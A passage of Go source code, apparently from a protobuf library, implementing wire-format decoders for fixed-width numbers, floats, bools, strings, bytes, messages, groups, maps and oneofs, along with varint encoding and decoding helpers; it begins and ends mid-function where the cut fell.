WireFixed64 {\n\t\treturn b, errInternalBadWireType\n\t}\n\tif len(b) < 8 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := int64(b[0]) | int64(b[1])<<8 | int64(b[2])<<16 | int64(b[3])<<24 | int64(b[4])<<32 | int64(b[5])<<40 | int64(b[6])<<48 | int64(b[7])<<56\n\t*f.toInt64Ptr() = &v\n\treturn b[8:], nil\n}\n\nfunc unmarshalFixedS64Slice(b []byte, f pointer, w int) ([]byte, error) {\n\tif w == WireBytes { // packed\n\t\tx, n := decodeVarint(b)\n\t\tif n == 0 {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tb = b[n:]\n\t\tif x > uint64(len(b)) {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tres := b[x:]\n\t\tb = b[:x]\n\t\tfor len(b) > 0 {\n\t\t\tif len(b) < 8 {\n\t\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tv := int64(b[0]) | int64(b[1])<<8 | int64(b[2])<<16 | int64(b[3])<<24 | int64(b[4])<<32 | int64(b[5])<<40 | int64(b[6])<<48 | int64(b[7])<<56\n\t\t\ts := f.toInt64Slice()\n\t\t\t*s = append(*s, v)\n\t\t\tb = b[8:]\n\t\t}\n\t\treturn res, nil\n\t}\n\tif w != WireFixed64 {\n\t\treturn b, errInternalBadWireType\n\t}\n\tif len(b) < 8 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := int64(b[0]) | int64(b[1])<<8 | int64(b[2])<<16 | int64(b[3])<<24 | int64(b[4])<<32 | int64(b[5])<<40 | int64(b[6])<<48 | int64(b[7])<<56\n\ts := f.toInt64Slice()\n\t*s = append(*s, v)\n\treturn b[8:], nil\n}\n\nfunc unmarshalFixed32Value(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireFixed32 {\n\t\treturn b, errInternalBadWireType\n\t}\n\tif len(b) < 4 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24\n\t*f.toUint32() = v\n\treturn b[4:], nil\n}\n\nfunc unmarshalFixed32Ptr(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireFixed32 {\n\t\treturn b, errInternalBadWireType\n\t}\n\tif len(b) < 4 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24\n\t*f.toUint32Ptr() = &v\n\treturn b[4:], nil\n}\n\nfunc unmarshalFixed32Slice(b []byte, f pointer, w int) ([]byte, error) {\n\tif w == WireBytes { // packed\n\t\tx, n := decodeVarint(b)\n\t\tif n == 0 {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tb = b[n:]\n\t\tif x > uint64(len(b)) {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tres := b[x:]\n\t\tb = b[:x]\n\t\tfor len(b) > 0 {\n\t\t\tif len(b) < 4 {\n\t\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tv := uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24\n\t\t\ts := f.toUint32Slice()\n\t\t\t*s = append(*s, v)\n\t\t\tb = b[4:]\n\t\t}\n\t\treturn res, nil\n\t}\n\tif w != WireFixed32 {\n\t\treturn b, errInternalBadWireType\n\t}\n\tif len(b) < 4 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24\n\ts := f.toUint32Slice()\n\t*s = append(*s, v)\n\treturn b[4:], nil\n}\n\nfunc unmarshalFixedS32Value(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireFixed32 {\n\t\treturn b, errInternalBadWireType\n\t}\n\tif len(b) < 4 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := int32(b[0]) | int32(b[1])<<8 | int32(b[2])<<16 | int32(b[3])<<24\n\t*f.toInt32() = v\n\treturn b[4:], nil\n}\n\nfunc unmarshalFixedS32Ptr(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireFixed32 {\n\t\treturn b, errInternalBadWireType\n\t}\n\tif len(b) < 4 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := int32(b[0]) | int32(b[1])<<8 | int32(b[2])<<16 | int32(b[3])<<24\n\tf.setInt32Ptr(v)\n\treturn b[4:], nil\n}\n\nfunc unmarshalFixedS32Slice(b []byte, f pointer, w int) ([]byte, error) {\n\tif w == WireBytes { // packed\n\t\tx, n := decodeVarint(b)\n\t\tif n == 0 {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tb = b[n:]\n\t\tif x > uint64(len(b)) {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tres := b[x:]\n\t\tb = b[:x]\n\t\tfor len(b) > 0 {\n\t\t\tif len(b) < 4 {\n\t\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tv := int32(b[0]) | int32(b[1])<<8 | int32(b[2])<<16 | int32(b[3])<<24\n\t\t\tf.appendInt32Slice(v)\n\t\t\tb = b[4:]\n\t\t}\n\t\treturn res, nil\n\t}\n\tif w != WireFixed32 {\n\t\treturn b, errInternalBadWireType\n\t}\n\tif len(b) < 4 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := int32(b[0]) | int32(b[1])<<8 | int32(b[2])<<16 | int32(b[3])<<24\n\tf.appendInt32Slice(v)\n\treturn b[4:], nil\n}\n\nfunc unmarshalBoolValue(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireVarint {\n\t\treturn b, errInternalBadWireType\n\t}\n\t// Note: any length varint is allowed, even though any sane\n\t// encoder will use one byte.\n\t// See https://github.com/golang/protobuf/issues/76\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\t// TODO: check if x>1? Tests seem to indicate no.\n\tv := x != 0\n\t*f.toBool() = v\n\treturn b[n:], nil\n}\n\nfunc unmarshalBoolPtr(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireVarint {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := x != 0\n\t*f.toBoolPtr() = &v\n\treturn b[n:], nil\n}\n\nfunc unmarshalBoolSlice(b []byte, f pointer, w int) ([]byte, error) {\n\tif w == WireBytes { // packed\n\t\tx, n := decodeVarint(b)\n\t\tif n == 0 {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tb = b[n:]\n\t\tif x > uint64(len(b)) {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tres := b[x:]\n\t\tb = b[:x]\n\t\tfor len(b) > 0 {\n\t\t\tx, n = decodeVarint(b)\n\t\t\tif n == 0 {\n\t\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tv := x != 0\n\t\t\ts := f.toBoolSlice()\n\t\t\t*s = append(*s, v)\n\t\t\tb = b[n:]\n\t\t}\n\t\treturn res, nil\n\t}\n\tif w != WireVarint {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := x != 0\n\ts := f.toBoolSlice()\n\t*s = append(*s, v)\n\treturn b[n:], nil\n}\n\nfunc unmarshalFloat64Value(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireFixed64 {\n\t\treturn b, errInternalBadWireType\n\t}\n\tif len(b) < 8 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := math.Float64frombits(uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56)\n\t*f.toFloat64() = v\n\treturn b[8:], nil\n}\n\nfunc unmarshalFloat64Ptr(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireFixed64 {\n\t\treturn b, errInternalBadWireType\n\t}\n\tif len(b) < 8 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := math.Float64frombits(uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56)\n\t*f.toFloat64Ptr() = &v\n\treturn b[8:], nil\n}\n\nfunc unmarshalFloat64Slice(b []byte, f pointer, w int) ([]byte, error) {\n\tif w == WireBytes { // packed\n\t\tx, n := decodeVarint(b)\n\t\tif n == 0 {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tb = b[n:]\n\t\tif x > uint64(len(b)) {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tres := b[x:]\n\t\tb = b[:x]\n\t\tfor len(b) > 0 {\n\t\t\tif len(b) < 8 {\n\t\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tv := math.Float64frombits(uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56)\n\t\t\ts := f.toFloat64Slice()\n\t\t\t*s = append(*s, v)\n\t\t\tb = b[8:]\n\t\t}\n\t\treturn res, nil\n\t}\n\tif w != WireFixed64 {\n\t\treturn b, errInternalBadWireType\n\t}\n\tif len(b) < 8 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := math.Float64frombits(uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56)\n\ts := f.toFloat64Slice()\n\t*s = append(*s, v)\n\treturn b[8:], nil\n}\n\nfunc unmarshalFloat32Value(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireFixed32 {\n\t\treturn b, errInternalBadWireType\n\t}\n\tif len(b) < 4 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := math.Float32frombits(uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24)\n\t*f.toFloat32() = v\n\treturn b[4:], nil\n}\n\nfunc unmarshalFloat32Ptr(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireFixed32 {\n\t\treturn b, errInternalBadWireType\n\t}\n\tif len(b) < 4 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := math.Float32frombits(uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24)\n\t*f.toFloat32Ptr() = &v\n\treturn b[4:], nil\n}\n\nfunc unmarshalFloat32Slice(b []byte, f pointer, w int) ([]byte, error) {\n\tif w == WireBytes { // packed\n\t\tx, n := decodeVarint(b)\n\t\tif n == 0 {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tb = b[n:]\n\t\tif x > uint64(len(b)) {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tres := b[x:]\n\t\tb = b[:x]\n\t\tfor len(b) > 0 {\n\t\t\tif len(b) < 4 {\n\t\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tv := math.Float32frombits(uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24)\n\t\t\ts := f.toFloat32Slice()\n\t\t\t*s = append(*s, v)\n\t\t\tb = b[4:]\n\t\t}\n\t\treturn res, nil\n\t}\n\tif w != WireFixed32 {\n\t\treturn b, errInternalBadWireType\n\t}\n\tif len(b) < 4 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := math.Float32frombits(uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24)\n\ts := f.toFloat32Slice()\n\t*s = append(*s, v)\n\treturn b[4:], nil\n}\n\nfunc unmarshalStringValue(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireBytes {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tif x > uint64(len(b)) {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := string(b[:x])\n\t*f.toString() = v\n\treturn b[x:], nil\n}\n\nfunc unmarshalStringPtr(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireBytes {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tif x > uint64(len(b)) {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := string(b[:x])\n\t*f.toStringPtr() = &v\n\treturn b[x:], nil\n}\n\nfunc unmarshalStringSlice(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireBytes {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tif x > uint64(len(b)) {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := string(b[:x])\n\ts := f.toStringSlice()\n\t*s = append(*s, v)\n\treturn b[x:], nil\n}\n\nfunc unmarshalUTF8StringValue(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireBytes {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tif x > uint64(len(b)) {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := string(b[:x])\n\t*f.toString() = v\n\tif !utf8.ValidString(v) {\n\t\treturn b[x:], errInvalidUTF8\n\t}\n\treturn b[x:], nil\n}\n\nfunc unmarshalUTF8StringPtr(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireBytes {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tif x > uint64(len(b)) {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := string(b[:x])\n\t*f.toStringPtr() = &v\n\tif !utf8.ValidString(v) {\n\t\treturn b[x:], errInvalidUTF8\n\t}\n\treturn b[x:], nil\n}\n\nfunc unmarshalUTF8StringSlice(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireBytes {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tif x > uint64(len(b)) {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := string(b[:x])\n\ts := f.toStringSlice()\n\t*s = append(*s, v)\n\tif !utf8.ValidString(v) {\n\t\treturn b[x:], errInvalidUTF8\n\t}\n\treturn b[x:], nil\n}\n\nvar emptyBuf [0]byte\n\nfunc unmarshalBytesValue(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireBytes {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tif x > uint64(len(b)) {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\t// The use of append here is a trick which avoids the zeroing\n\t// that would be required if we used a make/copy pair.\n\t// We append to emptyBuf instead of nil because we want\n\t// a non-nil result even when the length is 0.\n\tv := append(emptyBuf[:], b[:x]...)\n\t*f.toBytes() = v\n\treturn b[x:], nil\n}\n\nfunc unmarshalBytesSlice(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireBytes {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tif x > uint64(len(b)) {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := append(emptyBuf[:], b[:x]...)\n\ts := f.toBytesSlice()\n\t*s = append(*s, v)\n\treturn b[x:], nil\n}\n\nfunc makeUnmarshalMessagePtr(sub *unmarshalInfo, name string) unmarshaler {\n\treturn func(b []byte, f pointer, w int) ([]byte, error) {\n\t\tif w != WireBytes {\n\t\t\treturn b, errInternalBadWireType\n\t\t}\n\t\tx, n := decodeVarint(b)\n\t\tif n == 0 {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tb = b[n:]\n\t\tif x > uint64(len(b)) {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\t// First read the message field to see if something is there.\n\t\t// The semantics of multiple submessages are weird. Instead of\n\t\t// the last one winning (as it is for all other fields), multiple\n\t\t// submessages are merged.\n\t\tv := f.getPointer()\n\t\tif v.isNil() {\n\t\t\tv = valToPointer(reflect.New(sub.typ))\n\t\t\tf.setPointer(v)\n\t\t}\n\t\terr := sub.unmarshal(v, b[:x])\n\t\tif err != nil {\n\t\t\tif r, ok := err.(*RequiredNotSetError); ok {\n\t\t\t\tr.field = name + \".\" + r.field\n\t\t\t} else {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\treturn b[x:], err\n\t}\n}\n\nfunc makeUnmarshalMessageSlicePtr(sub *unmarshalInfo, name string) unmarshaler {\n\treturn func(b []byte, f pointer, w int) ([]byte, error) {\n\t\tif w != WireBytes {\n\t\t\treturn b, errInternalBadWireType\n\t\t}\n\t\tx, n := decodeVarint(b)\n\t\tif n == 0 {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tb = b[n:]\n\t\tif x > uint64(len(b)) {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tv := valToPointer(reflect.New(sub.typ))\n\t\terr := sub.unmarshal(v, b[:x])\n\t\tif err != nil {\n\t\t\tif r, ok := err.(*RequiredNotSetError); ok {\n\t\t\t\tr.field = name + \".\" + r.field\n\t\t\t} else {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\tf.appendPointer(v)\n\t\treturn b[x:], err\n\t}\n}\n\nfunc makeUnmarshalGroupPtr(sub *unmarshalInfo, name string) unmarshaler {\n\treturn func(b []byte, f pointer, w int) ([]byte, error) {\n\t\tif w != WireStartGroup {\n\t\t\treturn b, errInternalBadWireType\n\t\t}\n\t\tx, y := findEndGroup(b)\n\t\tif x < 0 {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tv := f.getPointer()\n\t\tif v.isNil() {\n\t\t\tv = valToPointer(reflect.New(sub.typ))\n\t\t\tf.setPointer(v)\n\t\t}\n\t\terr := sub.unmarshal(v, b[:x])\n\t\tif err != nil {\n\t\t\tif r, ok := err.(*RequiredNotSetError); ok {\n\t\t\t\tr.field = name + \".\" + r.field\n\t\t\t} else {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\treturn b[y:], err\n\t}\n}\n\nfunc makeUnmarshalGroupSlicePtr(sub *unmarshalInfo, name string) unmarshaler {\n\treturn func(b []byte, f pointer, w int) ([]byte, error) {\n\t\tif w != WireStartGroup {\n\t\t\treturn b, errInternalBadWireType\n\t\t}\n\t\tx, y := findEndGroup(b)\n\t\tif x < 0 {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tv := valToPointer(reflect.New(sub.typ))\n\t\terr := sub.unmarshal(v, b[:x])\n\t\tif err != nil {\n\t\t\tif r, ok := err.(*RequiredNotSetError); ok {\n\t\t\t\tr.field = name + \".\" + r.field\n\t\t\t} else {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\tf.appendPointer(v)\n\t\treturn b[y:], err\n\t}\n}\n\nfunc makeUnmarshalMap(f *reflect.StructField) unmarshaler {\n\tt := f.Type\n\tkt := t.Key()\n\tvt := t.Elem()\n\ttagArray := strings.Split(f.Tag.Get(\"protobuf\"), \",\")\n\tvalTags := strings.Split(f.Tag.Get(\"protobuf_val\"), \",\")\n\tfor _, t := range tagArray {\n\t\tif strings.HasPrefix(t, \"customtype=\") {\n\t\t\tvalTags = append(valTags, t)\n\t\t}\n\t\tif t == \"stdtime\" {\n\t\t\tvalTags = append(valTags, t)\n\t\t}\n\t\tif t == \"stdduration\" {\n\t\t\tvalTags = append(valTags, t)\n\t\t}\n\t\tif t == \"wktptr\" {\n\t\t\tvalTags = append(valTags, t)\n\t\t}\n\t}\n\tunmarshalKey := typeUnmarshaler(kt, f.Tag.Get(\"protobuf_key\"))\n\tunmarshalVal := typeUnmarshaler(vt, strings.Join(valTags, \",\"))\n\treturn func(b []byte, f pointer, w int) ([]byte, error) {\n\t\t// The map entry is a submessage. Figure out how big it is.\n\t\tif w != WireBytes {\n\t\t\treturn nil, fmt.Errorf(\"proto: bad wiretype for map field: got %d want %d\", w, WireBytes)\n\t\t}\n\t\tx, n := decodeVarint(b)\n\t\tif n == 0 {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tb = b[n:]\n\t\tif x > uint64(len(b)) {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tr := b[x:] // unused data to return\n\t\tb = b[:x] // data for map entry\n\n\t\t// Note: we could use #keys * #values ~= 200 functions\n\t\t// to do map decoding without reflection. Probably not worth it.\n\t\t// Maps will be somewhat slow. Oh well.\n\n\t\t// Read key and value from data.\n\t\tvar nerr nonFatal\n\t\tk := reflect.New(kt)\n\t\tv := reflect.New(vt)\n\t\tfor len(b) > 0 {\n\t\t\tx, n := decodeVarint(b)\n\t\t\tif n == 0 {\n\t\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\twire := int(x) & 7\n\t\t\tb = b[n:]\n\n\t\t\tvar err error\n\t\t\tswitch x >> 3 {\n\t\t\tcase 1:\n\t\t\t\tb, err = unmarshalKey(b, valToPointer(k), wire)\n\t\t\tcase 2:\n\t\t\t\tb, err = unmarshalVal(b, valToPointer(v), wire)\n\t\t\tdefault:\n\t\t\t\terr = errInternalBadWireType // skip unknown tag\n\t\t\t}\n\n\t\t\tif nerr.Merge(err) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err != errInternalBadWireType {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\t// Skip past unknown fields.\n\t\t\tb, err = skipField(b, wire)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\n\t\t// Get map, allocate if needed.\n\t\tm := f.asPointerTo(t).Elem() // an addressable map[K]T\n\t\tif m.IsNil() {\n\t\t\tm.Set(reflect.MakeMap(t))\n\t\t}\n\n\t\t// Insert into map.\n\t\tm.SetMapIndex(k.Elem(), v.Elem())\n\n\t\treturn r, nerr.E\n\t}\n}\n\n// makeUnmarshalOneof makes an unmarshaler for oneof fields.\n// for:\n// message Msg {\n// oneof F {\n// int64 X = 1;\n// float64 Y = 2;\n// }\n// }\n// typ is the type of the concrete entry for a oneof case (e.g. Msg_X).\n// ityp is the interface type of the oneof field (e.g. isMsg_F).\n// unmarshal is the unmarshaler for the base type of the oneof case (e.g. int64).\n// Note that this function will be called once for each case in the oneof.\nfunc makeUnmarshalOneof(typ, ityp reflect.Type, unmarshal unmarshaler) unmarshaler {\n\tsf := typ.Field(0)\n\tfield0 := toField(&sf)\n\treturn func(b []byte, f pointer, w int) ([]byte, error) {\n\t\t// Allocate holder for value.\n\t\tv := reflect.New(typ)\n\n\t\t// Unmarshal data into holder.\n\t\t// We unmarshal into the first field of the holder object.\n\t\tvar err error\n\t\tvar nerr nonFatal\n\t\tb, err = unmarshal(b, valToPointer(v).offset(field0), w)\n\t\tif !nerr.Merge(err) {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// Write pointer to holder into target field.\n\t\tf.asPointerTo(ityp).Elem().Set(v)\n\n\t\treturn b, nerr.E\n\t}\n}\n\n// Error used by decode internally.\nvar errInternalBadWireType = errors.New(\"proto: internal error: bad wiretype\")\n\n// skipField skips past a field of type wire and returns the remaining bytes.\nfunc skipField(b []byte, wire int) ([]byte, error) {\n\tswitch wire {\n\tcase WireVarint:\n\t\t_, k := decodeVarint(b)\n\t\tif k == 0 {\n\t\t\treturn b, io.ErrUnexpectedEOF\n\t\t}\n\t\tb = b[k:]\n\tcase WireFixed32:\n\t\tif len(b) < 4 {\n\t\t\treturn b, io.ErrUnexpectedEOF\n\t\t}\n\t\tb = b[4:]\n\tcase WireFixed64:\n\t\tif len(b) < 8 {\n\t\t\treturn b, io.ErrUnexpectedEOF\n\t\t}\n\t\tb = b[8:]\n\tcase WireBytes:\n\t\tm, k := decodeVarint(b)\n\t\tif k == 0 || uint64(len(b)-k) < m {\n\t\t\treturn b, io.ErrUnexpectedEOF\n\t\t}\n\t\tb = b[uint64(k)+m:]\n\tcase WireStartGroup:\n\t\t_, i := findEndGroup(b)\n\t\tif i == -1 {\n\t\t\treturn b, io.ErrUnexpectedEOF\n\t\t}\n\t\tb = b[i:]\n\tdefault:\n\t\treturn b, fmt.Errorf(\"proto: can't skip unknown wire type %d\", wire)\n\t}\n\treturn b, nil\n}\n\n// findEndGroup finds the index of the next EndGroup tag.\n// Groups may be nested, so the \"next\" EndGroup tag is the first\n// unpaired EndGroup.\n// findEndGroup returns the indexes of the start and end of the EndGroup tag.\n// Returns (-1,-1) if it can't find one.\nfunc findEndGroup(b []byte) (int, int) {\n\tdepth := 1\n\ti := 0\n\tfor {\n\t\tx, n := decodeVarint(b[i:])\n\t\tif n == 0 {\n\t\t\treturn -1, -1\n\t\t}\n\t\tj := i\n\t\ti += n\n\t\tswitch x & 7 {\n\t\tcase WireVarint:\n\t\t\t_, k := decodeVarint(b[i:])\n\t\t\tif k == 0 {\n\t\t\t\treturn -1, -1\n\t\t\t}\n\t\t\ti += k\n\t\tcase WireFixed32:\n\t\t\tif len(b)-4 < i {\n\t\t\t\treturn -1, -1\n\t\t\t}\n\t\t\ti += 4\n\t\tcase WireFixed64:\n\t\t\tif len(b)-8 < i {\n\t\t\t\treturn -1, -1\n\t\t\t}\n\t\t\ti += 8\n\t\tcase WireBytes:\n\t\t\tm, k := decodeVarint(b[i:])\n\t\t\tif k == 0 {\n\t\t\t\treturn -1, -1\n\t\t\t}\n\t\t\ti += k\n\t\t\tif uint64(len(b)-i) < m {\n\t\t\t\treturn -1, -1\n\t\t\t}\n\t\t\ti += int(m)\n\t\tcase WireStartGroup:\n\t\t\tdepth++\n\t\tcase WireEndGroup:\n\t\t\tdepth--\n\t\t\tif depth == 0 {\n\t\t\t\treturn j, i\n\t\t\t}\n\t\tdefault:\n\t\t\treturn -1, -1\n\t\t}\n\t}\n}\n\n// encodeVarint appends a varint-encoded integer to b and returns the result.\nfunc encodeVarint(b []byte, x uint64) []byte {\n\tfor x >= 1<<7 {\n\t\tb = append(b, byte(x&0x7f|0x80))\n\t\tx >>= 7\n\t}\n\treturn append(b, byte(x))\n}\n\n// decodeVarint reads a varint-encoded integer from b.\n// Returns the decoded integer and the number of bytes read.\n// If there is an error, it returns 0,0.\nfunc decodeVarint(b []byte) (uint64, int) {\n\tvar x, y uint64\n\tif len(b) == 0 {\n\t\tgoto bad\n\t}\n\tx = uint64(b[0])\n\tif x < 0x80 {\n\t\treturn x, 1\n\t}\n\tx -= 0x80\n\n\tif len(b) <= 1 {\n\t\tgoto bad\n\t}\n\ty = uint64(b[1])\n\tx += y << 7\n\tif y < 0x80 {\n\t\treturn x, 2\n\t}\n\tx -= 0x80 << 7\n\n\tif len(b) <= 2 {\n\t\tgoto bad\n\t}\n\ty = uint64(b[2])\n\tx += y << 14\n\tif y < 0x80 {\n\t\treturn x, 3\n\t}\n\tx -= 0x80 << 14\n\n\tif len(b) <= 3 {\n\t\tgoto bad\n\t}\n\ty = uint64(b[3])\n\tx += y << 21\n\tif y < 0x80 {\n\t\treturn x, 4\n\t}\n\tx -= 0x80 << 21\n\n\tif len(b) <= 4 {\n\t\tgoto bad\n\t}\n\ty = uint64(b[4])\n\tx += y << 28\n\tif y < 0x80 {\n\t\treturn x, 5\n\t}\n\tx -= 0x80 << 28\n\n\tif len(b) <= 5 {\n\t\tgoto bad\n\t}\n\ty = uint64(b[5])\n\tx += y << 35\n\tif y < 0x80 {\n\t\treturn x, 6\n\t}\n\tx -= 0x80 << 35\n\n\tif len(b) <= 6 {\n\t\tgoto bad\n\t}\n\ty = uint64(b[6])\n\tx += y << 42\n\tif y < 0x80 {\n\t\treturn x, 7\n\t}\n\tx -= 0x80 << 42\n\n\tif len(b) <= 7 {\n\t\tgoto bad\n\t}\n\ty = uint64(b[7])\n\tx += y << 49\n\tif y < 0x80 {\n\t\treturn x, 8\n\t}\n\tx -= 0x80 << 49\n\n\tif len(b) <= 8 {\n\t\tgoto bad\n\t}\n\ty = uint64(b[8])\n\tx += y << 56\n\tif y < 0x80 {\n\t\treturn x, 9\n\t}\n\tx -= 0x80 << 56\n\n\tif len(b) <= 9 {\n\t\tgoto bad\n\t}\n\ty = uint64(b[9])\n\tx += y << 63\n\tif y < 2 {\n\t\treturn x, 